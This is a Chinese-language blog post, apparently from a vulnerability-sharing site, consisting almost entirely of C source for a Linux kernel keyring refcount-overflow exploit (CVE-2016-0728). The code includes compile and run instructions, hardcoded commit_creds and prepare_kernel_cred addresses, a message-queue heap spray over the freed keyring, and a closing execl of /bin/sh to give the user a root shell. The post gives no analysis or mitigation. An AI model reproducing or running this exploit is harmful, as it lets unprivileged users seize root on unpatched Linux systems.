[+] Linux Kernel +3.8 0day PoC [+]

  • A+
所属分类:漏洞时代
摘要

 

/* https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f */ /* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */ /* $ ./cve_2016_072 PP_KEY */  #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <keyutils.h> #include <unistd.h> #include <time.h> #include <unistd.h>  #include <sys/ipc.h> #include <sys/msg.h>  typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred;  #define STRUCT_LEN (0xb8 - 0x30) #define COMMIT_CREDS_ADDR (0xffffffff81094250) #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)    struct key_type {     char * name;     size_t datalen;     void * vet_description;     void * preparse;     void * free_preparse;     void * instantiate;     void * update;     void * match_preparse;     void * match_free;     void * revoke;     void * destroy; };  void userspace_revoke(void * key) {     commit_creds(prepare_kernel_cred(0)); }  int main(int argc, const char *argv[]) {  const char *keyring_name;  size_t i = 0;     unsigned long int l = 0x100000000/2;  key_serial_t serial = -1;  pid_t pid = -1;     struct key_type * my_key_type = NULL;      struct { long mtype;   char mtext[STRUCT_LEN];  } msg = {0x4141414141414141, {0}};  int msqid;   if (argc != 2) {   puts("usage: ./keys <key_name>");   return 1;  }      printf("uid=%d, euid=%d/n", getuid(), geteuid());      commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;     prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;          my_key_type = malloc(sizeof(*my_key_type));      my_key_type->revoke = (void*)userspace_revoke;     memset(msg.mtext, 'A', sizeof(msg.mtext));      // key->uid     *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */     //key->perm     *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;      //key->type     *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;      if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {         perror("msgget");         exit(1);     }      keyring_name = argv[1];   /* Set the new session keyring before we start */   serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);  if (serial < 0) {   perror("keyctl");   return -1;     }    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {   perror("keyctl");   return -1;  }    puts("Increfing...");     for (i = 1; i < 0xfffffffd; i++) {         if (i == (0xffffffff - l)) {             l = l/2;             sleep(5);         }         if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {             perror("keyctl");             return -1;         }     }     sleep(5);     /* here we are going to leak the last references to overflow */     for (i=0; i<5; ++i) {         if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {             perror("keyctl");             return -1;         }     }      puts("finished increfing");     puts("forking...");     /* allocate msg struct in the kernel rewriting the freed keyring object */     for (i=0; i<64; i++) {         pid = fork();         if (pid == -1) {             perror("fork");             return -1;         }          if (pid == 0) {             sleep(2);             if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {                 perror("msgget");                 exit(1);             }             for (i = 0; i < 64; i++) {                 if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {                     perror("msgsnd");                     exit(1);                 }             }             sleep(-1);             exit(1);         }     }         puts("finished forking");     sleep(5);      /* call userspace_revoke from kernel */     puts("caling revoke...");     if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {         perror("keyctl_revoke");     }      printf("uid=%d, euid=%d/n", getuid(), geteuid());     execl("/bin/sh", "/bin/sh", NULL);      return 0; }

 

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: